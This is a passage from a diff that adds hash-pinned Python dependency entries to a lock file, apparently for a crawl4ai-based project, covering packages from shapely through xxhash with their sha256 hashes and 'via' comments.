--hash=sha256:179ce34a8d0fe273d8883ba59e17e052247d08973dfcb743ca52bb1cce2d60b0 \ + --hash=sha256:1bca3b943fc2567ea49cd02c99abde49da4d5178ec46f624bd8255cda8755beb \ + --hash=sha256:1d73131e358976663dd969e1fb4ed1404b815cd977eaaedc3b3a133ba2d81c35 \ + --hash=sha256:2a0b02f9fc46f8520330c23d45e6560db7e3a0d927232139427637f98943e11d \ + --hash=sha256:2d3ab0e8c69a17dd3559eab8cbb88f258e285c94d572c2719033f90f83290c89 \ + --hash=sha256:30f464bee641fa8e282577c7dce027308403213c6ca8270bba73285c91024bc5 \ + --hash=sha256:33a834464fdabc0f26a45508df31b3cc5d028e04dbf6c5ed398541418e0a12fe \ + --hash=sha256:3ab3523da44749156e1f68b464dc56af11ae4cbc5c739a49d05f32b982eca9f3 \ + --hash=sha256:3c085faa2cfa879c5141df483f836f4d691045a078224a670fa570fa01612d89 \ + --hash=sha256:457fd7a2a8edeb044ab6ffbc0aa03ff6cd18491356e5e0c834d76ce621b916d1 \ + --hash=sha256:49023963c193dacee096301452f223ee24d86ec5807f8df93c0f7221d119e305 \ + --hash=sha256:52c4b7422442aba924d03ad4019852b08a92e64ea187b933135687bfe2747307 \ + --hash=sha256:559ed65f60c1af5a03f3912605a1b5114f522c7c32fb23c3376ae8f03219fe28 \ + --hash=sha256:5632e3ae3d09197c446310cd5187de63e28448ce22f0f67b2b93d97503c0c230 \ + --hash=sha256:5e4d44984abc0020154ea81b247adeddcc3ac5527b975ff798bd1ba0adc513c2 \ + --hash=sha256:75b00eb8fb802090aa903f4ea1c7f5a584779f967361e68b7e98e531cc2d7174 \ + --hash=sha256:78a0d7c918e74a232394117160e7e3db503377572a45bcef8826e4ab8a35feba \ + --hash=sha256:78c0665edead396b1abb4897c41a5c1d9bf090c8a637a4c20a61678e0a264e66 \ + --hash=sha256:7bbf207c4453ce1ad2e00b17313852b33310b83090c2311bdaf97f93c0380d12 \ + --hash=sha256:7f4b8bc363b6d65ee2152bec57568e3c52639bb34c46057b09857a307ed5e21d \ + --hash=sha256:82f201b4c878551d48558337aab270d3c6cca5507b8737c8d8a608d234cccde0 \ + --hash=sha256:83de5453a7799afc9048b4616bd085cef126e36412f0ea2f6370c36a2a3a51e7 \ + --hash=sha256:88f0e784020649f88ea48c9f5ddfa403bf9205820667c0914740b392035afb82 \ + --hash=sha256:8bcf3c1ba5d6456e2effd30fcbd3459b044d683fcdac79a2e6830f0bdf7de487 \ + --hash=sha256:911de823097db8b63f034299d12662db93344e6ffa0b881cbb57748974b70168 \ + --hash=sha256:92c14f5bdbfb6216315ce33e78080474082de8b3830122ba97809bfbe65f75c0 \ + --hash=sha256:95298364e251be3e60249facbeeca03631d3bb7584f85879516ec55ac717b81f \ + --hash=sha256:9554bcc6d715ee87a633a3cc8e7703c6628b100dd29cb8a2efc4c0533c7ff729 \ + --hash=sha256:9f2897bf7737392ad0d5213ea7b6add72a4edf5679b3153106aeb88b6507b3b9 \ + --hash=sha256:a1d33a7836f7ddc1993427966a0823468ec41bcbdb1a9f9942d1d7e57f803ba3 \ + --hash=sha256:ac0333bdf38309aa3dcbe7e3fa7ea29e7a2c37c6ea306a757b700ded8e4596ad \ + --hash=sha256:bff0b729edd992766136b34e39cc76bc2fad905aa58897ee72a9cd000a6d8443 \ + --hash=sha256:c24acac1e18912761c4700239bbc1fd32f615af690f1584d49b35859be51324d \ + --hash=sha256:c35d74ce0e193ff740c2f2be2ac913ddc232fe6c1ff40b26cfecb9c670c63314 \ + --hash=sha256:c825cef2f49e46753726a7181a8e199804a912b29519ada542c6ebc654951899 \ + --hash=sha256:c9d18a33309122074ea483dd92dd444189166b8b2ec429fe9ed5ac73c7a0aa23 \ + --hash=sha256:cbf38d043c1aa4ab306e1ada6ab6eddacc3322a20b7af1b30bc93254b366fe09 \ + --hash=sha256:cd479fc04dd9401e3b4f49e76518768ef99c4f517a98c284eb091fd725719adf \ + --hash=sha256:ceb30a00ce7c92d459819443d29ca486d882b83fb6738bdcbb2a1cce94ac5daa \ + --hash=sha256:cfbf154f2ba187f2ed6cce2639efff7d105f1140573642c0161615b6d91d6a87 \ + --hash=sha256:d2924a03db38dc2e848bca2fe9f077dafb891480b91a00a0963a8cf86dfc31c1 \ + --hash=sha256:d416b16cccfd70fbf62400e84d0bb2f4e6af519a45557f1692c749b37f14b315 \ + --hash=sha256:d65d448389b8436493abcf629cc94ad0cf32aecaf06e1acca1de53cc795f2f12 \ + --hash=sha256:d84a09d0dad90ba6525d8ac1c2334b33e64bf3ccfe9e841f02feb867a22681e4 \ + --hash=sha256:ddef79fb382df40104a19bb7151b3b23e57c1778fcf857c71ceecd9bd264513f \ + --hash=sha256:e3b417bf8c2c7c16e8f58ad91db17783ec911ac16e7b50eb6eab6e809b4f5b07 \ + --hash=sha256:e402cf31eb68f453dbb2d36fc6d722b33f24a55d68b2ae1d92fa6305ca71c298 \ + --hash=sha256:e6fb6a55cc0ba97b59a1f288fb86dc6fce8bdfc0fffcbfd015e3a954bf2a2d93 \ + --hash=sha256:e708533e8b2ae2497d65346538a7dcc92814410b25b81432eac66de0f2af8265 \ + --hash=sha256:ea324d9dd34c38bfb9bec8ca4d1b407db97dbb74029f566b8e322b1b6fe56fe6 \ + --hash=sha256:eb0dfcf4e28a99c12c999744a2ff67c9b06200e20401c7c88186e33552a46331 \ + --hash=sha256:eda632a7981f69730d6281f451db9c1c370993a2c0d7ddb43e2a809a2862b83a \ + --hash=sha256:f29633129f9fa7e88a3f0fca835de2d030bfc9643f7799e1a0c46cee24d38fc7 \ + --hash=sha256:f55fa87b6c612ecd6b058f167c53231b1d14e412efe361d3d6e38b3631c73218 \ + --hash=sha256:fdaf5ea890a6183d0565f51a61799d67081bd5b1cf03c5f4b3fd3732108625c9 + # via alphashape +shapely==2.1.2 \ + --hash=sha256:0036ac886e0923417932c2e6369b6c52e38e0ff5d9120b90eef5cd9a5fc5cae9 \ + --hash=sha256:01d0d304b25634d60bd7cf291828119ab55a3bab87dc4af1e44b07fb225f188b \ + --hash=sha256:0bd308103340030feef6c111d3eb98d50dc13feea33affc8a6f9fa549e9458a3 \ + --hash=sha256:136ab87b17e733e22f0961504d05e77e7be8c9b5a8184f685b4a91a84efe3c26 \ + --hash=sha256:16a9c722ba774cf50b5d4541242b4cce05aafd44a015290c82ba8a16931ff63d \ + --hash=sha256:16c5d0fc45d3aa0a69074979f4f1928ca2734fb2e0dde8af9611e134e46774e7 \ + --hash=sha256:19efa3611eef966e776183e338b2d7ea43569ae99ab34f8d17c2c054d3205cc0 \ + --hash=sha256:1d0bfb4b8f661b3b4ec3565fa36c340bfb1cda82087199711f86a88647d26b2f \ + --hash=sha256:1e7d4d7ad262a48bb44277ca12c7c78cb1b0f56b32c10734ec9a1d30c0b0c54b \ + --hash=sha256:1f2f33f486777456586948e333a56ae21f35ae273be99255a191f5c1fa302eb4 \ + --hash=sha256:1ff629e00818033b8d71139565527ced7d776c269a49bd78c9df84e8f852190c \ + --hash=sha256:21952dc00df38a2c28375659b07a3979d22641aeb104751e769c3ee825aadecf \ + --hash=sha256:2d93d23bdd2ed9dc157b46bc2f19b7da143ca8714464249bef6771c679d5ff40 \ + --hash=sha256:2ed4ecb28320a433db18a5bf029986aa8afcfd740745e78847e330d5d94922a9 \ + --hash=sha256:2fa78b49485391224755a856ed3b3bd91c8455f6121fee0db0e71cefb07d0ef6 \ + --hash=sha256:346ec0c1a0fcd32f57f00e4134d1200e14bf3f5ae12af87ba83ca275c502498c \ + --hash=sha256:361b6d45030b4ac64ddd0a26046906c8202eb60d0f9f53085f5179f1d23021a0 \ + --hash=sha256:40d784101f5d06a1fd30b55fc11ea58a61be23f930d934d86f19a180909908a4 \ + --hash=sha256:4a44bc62a10d84c11a7a3d7c1c4fe857f7477c3506e24c9062da0db0ae0c449c \ + --hash=sha256:5860eb9f00a1d49ebb14e881f5caf6c2cf472c7fd38bd7f253bbd34f934eb076 \ + --hash=sha256:5ebe3f84c6112ad3d4632b1fd2290665aa75d4cef5f6c5d77c4c95b324527c6a \ + --hash=sha256:61edcd8d0d17dd99075d320a1dd39c0cb9616f7572f10ef91b4b5b00c4aeb566 \ + --hash=sha256:6305993a35989391bd3476ee538a5c9a845861462327efe00dd11a5c8c709a99 \ + --hash=sha256:6ddc759f72b5b2b0f54a7e7cde44acef680a55019eb52ac63a7af2cf17cb9cd2 \ + --hash=sha256:743044b4cfb34f9a67205cee9279feaf60ba7d02e69febc2afc609047cb49179 \ + --hash=sha256:7ae48c236c0324b4e139bea88a306a04ca630f49be66741b340729d380d8f52f \ + --hash=sha256:7ed1a5bbfb386ee8332713bf7508bc24e32d24b74fc9a7b9f8529a55db9f4ee6 \ + --hash=sha256:8cff473e81017594d20ec55d86b54bc635544897e13a7cfc12e36909c5309a2a \ + --hash=sha256:8d8382dd120d64b03698b7298b89611a6ea6f55ada9d39942838b79c9bc89801 \ + --hash=sha256:9111274b88e4d7b54a95218e243282709b330ef52b7b86bc6aaf4f805306f454 \ + --hash=sha256:91121757b0a36c9aac3427a651a7e6567110a4a67c97edf04f8d55d4765f6618 \ + --hash=sha256:980c777c612514c0cf99bc8a9de6d286f5e186dcaf9091252fcd444e5638193d \ + --hash=sha256:9a522f460d28e2bf4e12396240a5fc1518788b2fcd73535166d748399ef0c223 \ + --hash=sha256:9c3a3c648aedc9f99c09263b39f2d8252f199cb3ac154fadc173283d7d111350 \ + --hash=sha256:a1fd0ea855b2cf7c9cddaf25543e914dd75af9de08785f20ca3085f2c9ca60b0 \ + --hash=sha256:a444e7afccdb0999e203b976adb37ea633725333e5b119ad40b1ca291ecf311c \ + --hash=sha256:a84e0582858d841d54355246ddfcbd1fce3179f185da7470f41ce39d001ee1af \ + --hash=sha256:b510dda1a3672d6879beb319bc7c5fd302c6c354584690973c838f46ec3e0fa8 \ + --hash=sha256:b54df60f1fbdecc8ebc2c5b11870461a6417b3d617f555e5033f1505d36e5735 \ + --hash=sha256:b705c99c76695702656327b819c9660768ec33f5ce01fa32b2af62b56ba400a1 \ + --hash=sha256:ba4d1333cc0bc94381d6d4308d2e4e008e0bd128bdcff5573199742ee3634359 \ + --hash=sha256:c64d5c97b2f47e3cd9b712eaced3b061f2b71234b3fc263e0fcf7d889c6559dc \ + --hash=sha256:c8876673449f3401f278c86eb33224c5764582f72b653a415d0e6672fde887bf \ + --hash=sha256:ca2591bff6645c216695bdf1614fca9c82ea1144d4a7591a466fef64f28f0715 \ + --hash=sha256:cc4f7397459b12c0b196c9efe1f9d7e92463cbba142632b4cc6d8bbbbd3e2b09 \ + --hash=sha256:cf831a13e0d5a7eb519e96f58ec26e049b1fad411fc6fc23b162a7ce04d9cffc \ + --hash=sha256:dc3487447a43d42adcdf52d7ac73804f2312cbfa5d433a7d2c506dcab0033dfd \ + --hash=sha256:df90e2db118c3671a0754f38e36802db75fe0920d211a27481daf50a711fdf26 \ + --hash=sha256:e38a190442aacc67ff9f75ce60aec04893041f16f97d242209106d502486a142 \ + --hash=sha256:e9eddfe513096a71896441a7c37db72da0687b34752c4e193577a145c71736fc \ + --hash=sha256:eba6710407f1daa8e7602c347dfc94adc02205ec27ed956346190d66579eb9ea \ + --hash=sha256:ef4a456cc8b7b3d50ccec29642aa4aeda959e9da2fe9540a92754770d5f0cf1f \ + --hash=sha256:f67b34271dedc3c653eba4e3d7111aa421d5be9b4c4c7d38d30907f796cb30df \ + --hash=sha256:f6f6cd5819c50d9bcf921882784586aab34a4bd53e7553e175dece6db513a6f0 \ + --hash=sha256:fe2533caae6a91a543dec62e8360fe86ffcdc42a7c55f9dfd0128a977a896b94 \ + --hash=sha256:fe7b77dc63d707c09726b7908f575fc04ff1d1ad0f3fb92aec212396bc6cfe5e \ + --hash=sha256:fe9627c39c59e553c90f5bc3128252cb85dc3b3be8189710666d2f8bc3a5503e + # via + # alphashape + # crawl4ai +sniffio==1.3.1 \ + --hash=sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2 \ + --hash=sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc + # via openai +snowballstemmer==2.2.0 \ + --hash=sha256:09b16deb8547d3412ad7b590689584cd0fe25ec8db3be37788be3810cbf19cb1 \ + --hash=sha256:c8e1716e83cc398ae16824e5572ae04e0d9fc2c6b985fb0f900f5f0c96ecba1a + # via crawl4ai +soupsieve==2.10 \ + --hash=sha256:49e9380d7d2905463583bafe285e818c7366a9ed7b3aee221c1ac79c905d8bc0 \ + --hash=sha256:8596eb8967d744174820280fa62b4542a2e955bfaccca73ed8a13c6eb8e9b502 + # via beautifulsoup4 +tiktoken==0.14.0 \ + --hash=sha256:087538c080e5ff421abd3a0785ed63c5111d06af98e6cd0d374dbe5969147ca3 \ + --hash=sha256:10f31e63e40313f2e518d87f7086cfa44e45f64cc14d8ae14103b41220c30a14 \ + --hash=sha256:11d8211b290855d2721334ff17dd9b3a17bfb26872be01f25d73612ef7ece890 \ + --hash=sha256:144a3fc369f92b7d548995217c5d6e84038d3572157a0f6f34080d65291d0f78 \ + --hash=sha256:149d97453c4c98c04b081d64a85e635921269b532710d6faf81e9e82b790e7d3 \ + --hash=sha256:14b47e3674f2624803a8acc8fb367b7e24fc53055f9df3296482fe9a3a34a232 \ + --hash=sha256:151d37a150c8f3dfc5f4345597b10e101876bd1bd13494e0185af6b508758d2e \ + --hash=sha256:18a1b651c4b032004bf7b4f1713391a54b2a341a52c6e8a2b59acae9d16e13c7 \ + --hash=sha256:19d643d701fdaa70e5b9c7f8f96abcaffe77ca5e482a3a1a7dde46feb4284695 \ + --hash=sha256:1b6e4adcfd285c44502aed51df98aaaca4f0fea028165dbf8a9e857b9f98d8ea \ + --hash=sha256:1f83081065ee5833d35b49e9180f3d8d15622a603dd1c435da0da6cc12b3662f \ + --hash=sha256:2157f52e4b4d7ac5ecc7457b3716834706e7ef9a46f5144029bfeb7cf71f4e06 \ + --hash=sha256:231dec90efcdccf1b565a1416107736f1e09b1a08fe736ef9d6363e626d03874 \ + --hash=sha256:26cc4b4840fa0e9f4b72ed489883e12f57e00d1021ca794720e3c29a12f0edef \ + --hash=sha256:26e60f6a956ee171ab728b37b8439905d7ea1db435c30f9822f291e9861c861d \ + --hash=sha256:2cc19ac87b41c9493c9778ff5847f0c8bbcf5bd0ec6b87ce06c1c802adc8a771 \ + --hash=sha256:2ea70afba6b9eddbf22c165142e5f0a2ad7aa36a452873c48b57bb2aeb8492ae \ + --hash=sha256:2ec16eb585332c55d022d86354e209ddf27326b1ea3477585ab248e7776d3b1f \ + --hash=sha256:2fc834fbe3f6a0736905c36ab709537e6840dbd63b982dc9e0216ae7d305ba1a \ + --hash=sha256:380873f330b741c4435574f37edb20813d04603ace2d53e0a63560e1fec83010 \ + --hash=sha256:3b12e54f8bec91433e41aff65d8d1f209a4f678081163747079806e5361f6c91 \ + --hash=sha256:3c5349c9f916283bba32bec8af69b763e4faa304dc004d0eaaea66a3cf004c1f \ + --hash=sha256:3de75343041a1c57333b1e707ac8a9769738241d7d6a55d39e12cf84548337c6 \ + --hash=sha256:3fd7c14b1cb45b486c39fc9b3443bb341f3e2fc7e6f31247f3435a5836651632 \ + --hash=sha256:447ada49af4898b5e992f0b5799d2f3af385921102c211947ce3fe960dd919da \ + --hash=sha256:4d8d91d68353bd167fdf26467e5ff9e56aaa5f87d6410c0238608629e4dc0d33 \ + --hash=sha256:50a7e5646cbac2a8f7c3e8c0934ffda1a4357ee9c44b652434b23c3ed54d0900 \ + --hash=sha256:561e7580f84a79859af1ef6f676968e9030fcc3fe195700b15235bca64f009c9 \ + --hash=sha256:60c47ca69ddda0dea8256fffd12e1b86f4b59734a20e4a70c61f63cc5f021df4 \ + --hash=sha256:6eb94895c45f26bb8f5546e5fd8a069efcf6e3f108ea9d5cbe3bf6f7f3983438 \ + --hash=sha256:728303a072163130c5b477b1f20d6211895569c1d5302c24ffc93a3009160871 \ + --hash=sha256:78571efc311c30b73f31eb949a921d6dac39a5d9dc42d1cfa8f8db157b3447b1 \ + --hash=sha256:7896eea257fe497a2b7134474d909156c6744ce8da35bce88011a960e008aa0d \ + --hash=sha256:7aab286a020660a039097912a088236b985d18a3090d73f136c4413d29d37ca0 \ + --hash=sha256:7b7acbb7a4b8383707bce22ad3c162006478c27b56368acd3e1fcb1658a80425 \ + --hash=sha256:7db45b98e94adf4173a5cd7422b150999a7ee11ff847783a14f6e1b80cc38cb6 \ + --hash=sha256:86951a971c53979ec857bd8c4a32dc227ab0fd33f6c12a3bd62d3fbf5f0bfcaa \ + --hash=sha256:86f66c85e796f5d05d5c4a60ec1d40cbfebc47a32464053528c797163fa9ab89 \ + --hash=sha256:8e947aefe98ef74cce94923f90e48c98fe34eb1ec0a6bfdfadfc5a96359bfc36 \ + --hash=sha256:90a762670c7f968184723769a06ed51f5cf5ce5dcd1e30164f25c72d85c2d1f1 \ + --hash=sha256:94f77b60a8ab23580db19ae822744c9716c1720020d2179ca5605112d12326f1 \ + --hash=sha256:979c1524f753b662b0f3cd261b135afe6659cce33caaa7a5ea00dd1756b3055c \ + --hash=sha256:a140e83317fef02faeeb78d9a8efac623887f2feaf0055c55dcdb2b17f0226ad \ + --hash=sha256:aa428a559d5fd02ae619aacaace86c7474a1f2702d2c01fc828908dd60f20f7a \ + --hash=sha256:b950248272f1b303dc32986396e2dccfa10cf6d1e83ec8f0bba1776660305482 \ + --hash=sha256:c2edf09b381fafbc014ae8e018ed25087abb9a3dafa8465a0ea63c6558c47a79 \ + --hash=sha256:c3093001ddce822b4587e6e94bf6de36a5f97b3f31de1c9fc8d4fda144c59ff4 \ + --hash=sha256:c6cb9896a82b9ee44e15ba0b5c8044072f2e4d48acaa704c8d3feeef5ad9487c \ + --hash=sha256:c77d4a3e1deb2707819df92046b89aad1ac81d27e07616b797cbff3f62c037da \ + --hash=sha256:ca4db6ff5c5bf600f9b7761a0070ed44dfe5797a76bd432fb978bc480ef40c58 \ + --hash=sha256:cbe2cc3bba939bcdaf103e03df9d5039d33887080b315624be28ec69059e5f94 \ + --hash=sha256:cd8ca1305c1c902fe42c486165f2e4808d9997625c98ffb05b9e0366d99d3948 \ + --hash=sha256:d0781223705199b289faa59601bb9c2441712d4c600dd13c43d8fd6a33d22cd5 \ + --hash=sha256:d6cebe67765569df3dafac8474e4eccf5c19d24140492567a5e58a11445732a4 \ + --hash=sha256:e067f4cbcc5d036e8aff7fe7a6b530a8f4de2e4616ad9005a24a1879e24e6450 \ + --hash=sha256:e2eca764c53490f8930dbce329e0769f11108d87d908282a80c5c130e26e7037 \ + --hash=sha256:e3442bbb2f0c588cec876061e37ae67b455b9df9978b003c8fe30e45f2ef5b42 \ + --hash=sha256:e4ddf863b59347deaa92302dcd90e5eb003cdc9be06ec2b692c38d1bdd9efd49 \ + --hash=sha256:e9c5fe393aab56469f04e432ff851216d3def3436cf5f07e442a240164bf500f \ + --hash=sha256:eceeff0c62419bc78d4b6e70a4762a4d25df3ae8f2d5946e3853ce93e7a57098 \ + --hash=sha256:f2af4a336ea56d6c14f27741a0e1d8294a35dd0b038bcf990d232ebb54eb994b \ + --hash=sha256:f3d6cf93fbe2e7117eb7bedca684216fbe328a41f0843ce34245451d8eb2df1c \ + --hash=sha256:f5e7665f6624e052e5e7f6a36919ab69279decdc976d7b16b4fa15e1897d0513 \ + --hash=sha256:f702e0aeeb6506e57687e881c59e844ebe8f0a6a097ddafe20e3ab25f387be4e + # via unclecode-litellm +tokenizers==0.23.2 \ + --hash=sha256:12f0835dc2ee694746a76adf7b1567d4346a4a502ebe93fb1f5f80ea49799b78 \ + --hash=sha256:2e96f5699d5249c9c64aa8412e044f727aae3a4098cf830f9901ec1afc361cde \ + --hash=sha256:325fee2e0418a9dc6c9ecf736a5f5f0db7875183ace9549ae339da76f7a1fbb7 \ + --hash=sha256:41c2f84d172449b4dadb9cdc508e3e364076613c35b16e76ecfe47a60d1e3305 \ + --hash=sha256:43e4f2071e3cc8d5d86421c874aebc82659bb51a68bcdef5a0da75ee89511ccb \ + --hash=sha256:5c56bda1511921587789163e524d196ed8284174ac23abd7685d5ea8da6c4718 \ + --hash=sha256:7b7e37ba198f24150f523e1242e83c4970de4a525480586be5dcc24d9add32c5 \ + --hash=sha256:7f0f085686b9de0d0079e6f874ae053600db64c5d13049e0bbc0119926d25aac \ + --hash=sha256:85a9a357a3764aecc904ee76bdaf8cf1ad8e5a67a1b929a487c4a39b49ed0e90 \ + --hash=sha256:950d7c9426fa72406a0ffeacdbc0bb9985f5db20eb8b263f29c79aaf83105703 \ + --hash=sha256:986670e43691469dcee610ea0f846f91a8f84e91fc6f7a48d4c064414c0ec2bf \ + --hash=sha256:a37039b5dfc4af84eb3ef0a92f4307e28936c8f9adccba2629d36f652e9bf7a2 \ + --hash=sha256:bef235815a067b2648caf6dcc7a71091b0b0fff9ee8057f6451eb9335fae52ef \ + --hash=sha256:debf978920d93ba9c219bd67cc4bbfaf912c9039e41e7a28b91ec15e3728c95a \ + --hash=sha256:e49c394456dd9985787fec76132438ba3fb8911f857b1bf3d40119f9292d41aa \ + --hash=sha256:eb2f9c8a24da020ea8c11a01a19c1c2547912d92121ae4a01cfbca46125dee40 \ + --hash=sha256:f486f402f6f9abee5bb032553736813af0c710a86b2e0ca592634c55cea1f835 + # via unclecode-litellm +tqdm==4.70.1 \ + --hash=sha256:c293e525e6fef9c20e8728fd4612df02a0aa31bb5fe91ecd93e123b1b7bffa73 \ + --hash=sha256:cefd0eca11b2a37a3aee776544d4f4ae913f02688135b5556b8788dfa474afc4 + # via + # huggingface-hub + # nltk +trimesh==5.1.0 \ + --hash=sha256:0fa85d1d131e321b683c00747c20090200b92071298b905ea588f609eb204c89 \ + --hash=sha256:927aa8748af8b84cb969c8f53270d929e546f2beada77a2bc234b605fddf1454 + # via alphashape +truststore==0.10.4 \ + --hash=sha256:9d91bd436463ad5e4ee4aba766628dd6cd7010cf3e2461756b3303710eebc301 \ + --hash=sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981 + # via + # httpcore2 + # httpx2 +typing-extensions==4.16.0 \ + --hash=sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8 \ + --hash=sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5 + # via + # aiohttp + # aiosignal + # anyio + # beautifulsoup4 + # httpx2 + # huggingface-hub + # openai + # pydantic + # pydantic-core + # pyee + # pyopenssl + # referencing + # typing-inspection +typing-inspection==0.4.4 \ + --hash=sha256:547274fa6b0a561ccf549cc9524b999a578e737d015d8709d021f9d0d13bea47 \ + --hash=sha256:65b8397ba37ccbce054456aaccddfc91e6e3083c92824df348d96ca832f3f147 + # via pydantic +unclecode-litellm==1.81.13 \ + --hash=sha256:5e1fbedbed92333b48e7371e0bacf86d1288020451bf34351703c3b159591399 \ + --hash=sha256:db70e34e3e859c0a07f02cb02eaa644f8fa4b4ecc5e2f3be9a58bd7d1c3feedc + # via crawl4ai +urllib3==2.8.0 \ + --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 \ + --hash=sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63 + # via requests +xxhash==3.8.1 \ + --hash=sha256:000435984a0469b0f822fe76f35bddea0f96a4d6521b3339a60a6428cdee1edc \ + --hash=sha256:00de40f3b42240db23a82a5c682b55d7263d84a26a953240c1aee463409660e3 \ + --hash=sha256:01cab782f8a0a05ecad2c63d7ef10f7ab475f660e0d6419d069418c14d88de7c \ + --hash=sha256:0204701e6d01f64254e0e5ff4255812b1febe027ddd7dda63372e27f98b5e91f \ + --hash=sha256:027dee4355f3fcc41481650d846cf6cfc895c85a1ab7acd063063821a0df5b4c \ + --hash=sha256:036a024d8b9c01f70782e09ed98d532e76fd23f950ae7154bd950fe94e90ebec \ + --hash=sha256:0418ec8b2331b9d4d575fc9284427e8e69449d7172e99e1a86fcdd1f51a0a937 \ + --hash=sha256:08ea2081f5e88615fec8622a9f87fbe21b8ea58d88cfc02163ca11026ee62a92 \ + --hash=sha256:095e1323fa108be1292c54c86da3ef3c7a7dc015b105a52133973bc07a6ad11a \ + --hash=sha256:09a204dd4bb0823daf938cdd0dc8057d5f1e14fe3cbde929424255f23f9de872 \ + --hash=sha256:0dfdf19b0d5433a75d61f19dc85737af0f0b95e445c1ad69c855115d05efed45 \ + --hash=sha256:0fe37f72a207223d22a4eddc3149d4298993385aa9daef25c039246ca5a309f3 \ + --hash=sha256:10e4393ec33633c2f05ad01869e546ad080b1a18f2650503731f153774608b31 \ + --hash=sha256:1153265daa10750a9bf8e9b01753d7618024a300925591efaf16b1b7fa536699 \ + --hash=sha256:115772daeb71b2f3b9381177017f53e6cf3f3439c840737fdabd21aba6e54920 \ + --hash=sha256:12a3cf79dadbab9631230ebc4c51c7c60f1e9cdfb890c15fb733eaafe2e7713c \ + --hash=sha256:12eaeaa9ab8b9e6033a1fa5f6b338aaf55ff4df4bee11b59fd6ee03b19186ee4 \ + --hash=sha256:131324f719957b988861714de7d6ddf57b47abec3b0cc691302ffeaba0e05e10 \ + --hash=sha256:15790b686f8723b845fec6f612a343beb815a25c83117a7fa408d7c8ee5aa8fd \ + --hash=sha256:1731407102b9332cd3c9dadee07db498bc3d437b95d752b5b1a5f7eb730a3738 \ + --hash=sha256:1b86ae798a976ccbc1d02af6ccb98f5b4d24756b1f65e995f11d10fe071f486f \ + --hash=sha256:1c332dd48b8cb050da2bb2a3c96d72b1664168650a250ef9718e423df7989e05 \ + --hash=sha256:1da930bbcac3e8fbe2191850e2abb57977a99348c12c4b385e1058ac1b0a9ecc \ + --hash=sha256:1f44275ddb0978b67a58a951501903f04d49335a91f7681c9ce122ecb8ccb329 \ + --hash=sha256:1ffcc98d8878e449e86dec008cea6f44cfd3a954d2ef24ae7d1cc9f725beec7d \ + --hash=sha256:220d68130f83f7cc86d6edfdeab176adc73d7200bf3a8ec10c629e8cf605c215 \ + --hash=sha256:2256e80e4960ee282f63428adb349cb7f8bd8efe4db770d88eb815f4b9860724 \ + --hash=sha256:23e710118a5778a45db740b431943a3f2a82a571a052c2768cce6544d9c8c62e \ + --hash=sha256:264710bd335016f303763ce1275c6486df30bb57c2245c91b224c983d7ac39b8 \ + --hash=sha256:2666f059a1588a99267e33605365ed89cea92f424b3522806a9f4bd8ad2e3d62 \ + --hash=sha256:27a9e475157f7315826118e3f3127909a0fe25f1b43d3d3be9c584f9d265f937 \ + --hash=sha256:27cfc2f1ed76f956f36dfe0c56e5f5a3e94cd91eb78b893f63e2ef2ae404fcdf \ + --hash=sha256:2bc7113e6f2b6b3922dd61796ca9f36af09da3773898e7003038dc992fc83b8d \ + --hash=sha256:2e32855b6f9e5b18f449e59d45e3d5778bdeb660632ef2693cca267a11246c75 \ + --hash=sha256:2f1c68394818e0595569c2ff3cbc1e6d5a36a434e796f5c526b987b80c8a8c62 \ + --hash=sha256:2f8c25a7061d952de589bd0ea0eaadee32378ff83dd6a677b267f9cd86f401f8 \ + --hash=sha256:314d05fbc55719ae2438eaaba77bf2508ca4f030b26fa4c9c8c380e81c48fa33 \ + --hash=sha256:32a94ad2763e0263d9102037d349002c3d3c401e42770542c3eeb4801f311661 \ + --hash=sha256:32ab1e5432690276e71192be7401b55f96db2d0eedea5d44eb1f164505669cc0 \ + --hash=sha256:345b07b78e2bf583d71682aa34ae5b5fab575f7a1cb31e10263ebbc6f89f8c42 \ + --hash=sha256:3557bec8fcb11738a8920eeb68974bc76b75262f6947998d3147954ce0a4b893 \ + --hash=sha256:358650d5bda9c635da699c53adf4e8134af492ecc79c960f917eebf088bb6799 \ + --hash=sha256:36fc69160465ae75c6ec4ac9f781bb2aa16ae7ff869e73c26fee85fbb11b9887 \ + --hash=sha256:37d5a56c36dcc0b9a87b814cd992598d33863ff683749de6c86081f278d5e629 \ + --hash=sha256:38c887aedb696ef8bca19983206d270848558cfae4a91afa6a2fb05dde58ffc5 \ + --hash=sha256:39c9d5b61508b0bb68f29e54546de0ed2a74943c6a18585535a7e37356f1dd12 \ + --hash=sha256:3a800912a2e5e975d4128969d645c4a2a80aa886ccd6c9b1c6f44529e327e8cf \ + --hash=sha256:3bc0fa90830df1e1277f33cc6e55de9990b83c0319fd8c7412866cfde38b025e \ + --hash=sha256:3c0d84c5f2e086b120bae4e7f551cbda804c1deb10d958478bed4f89ba286dfe \ + --hash=sha256:3c682fcd96eb4bf64be32a4d95f96107e1588005831bd8a741b324fdda01b913 \ + --hash=sha256:402db908ea70eaf9800d9182a66596fc86f36655df8f63fdecf7c11da741d86f \ + --hash=sha256:445e0f5a31f2f3546ae0895d4811e159518cdc9d824c11419898d40cfadb677e \ + --hash=sha256:4482380b462ca9e59994d072a877ecadd1cf51102daeeab2db696f96ab763723 \ + --hash=sha256:44c89d915a75c11d2547eaee9098fcd80398987c4bff2974a0497a925bf92c07 \ + --hash=sha256:454d78e786602278a2a4383d08048482052f4f0c61fa677ca590af08914d9bca \ + --hash=sha256:460261045936975193bfd20549a0de1cd52a33b405cbb972f0d80940c42266cd \ + --hash=sha256:46b39976d008e2a845758650f0ff7136bca004f40da0c8798bd37ac37860154f \ + --hash=sha256:498017fbf2d13a768b3110d084bde39f2bd8664c1de0b8084f8ccc84425b7c88 \ + --hash=sha256:49aa8692507835dcc1e8ad8021f20c74c2dc13d83b5112e87877faa2a0035b20 \ + --hash=sha256:4b512261801b1e5fde7b6ebf2fef7977339c620cbbca88a0040ad9ad134f4d02 \ + --hash=sha256:4bec8b2c909bcfae9a0dc702346007e02a8c9ba5bbde83ffb224aa194f4f9efc \ + 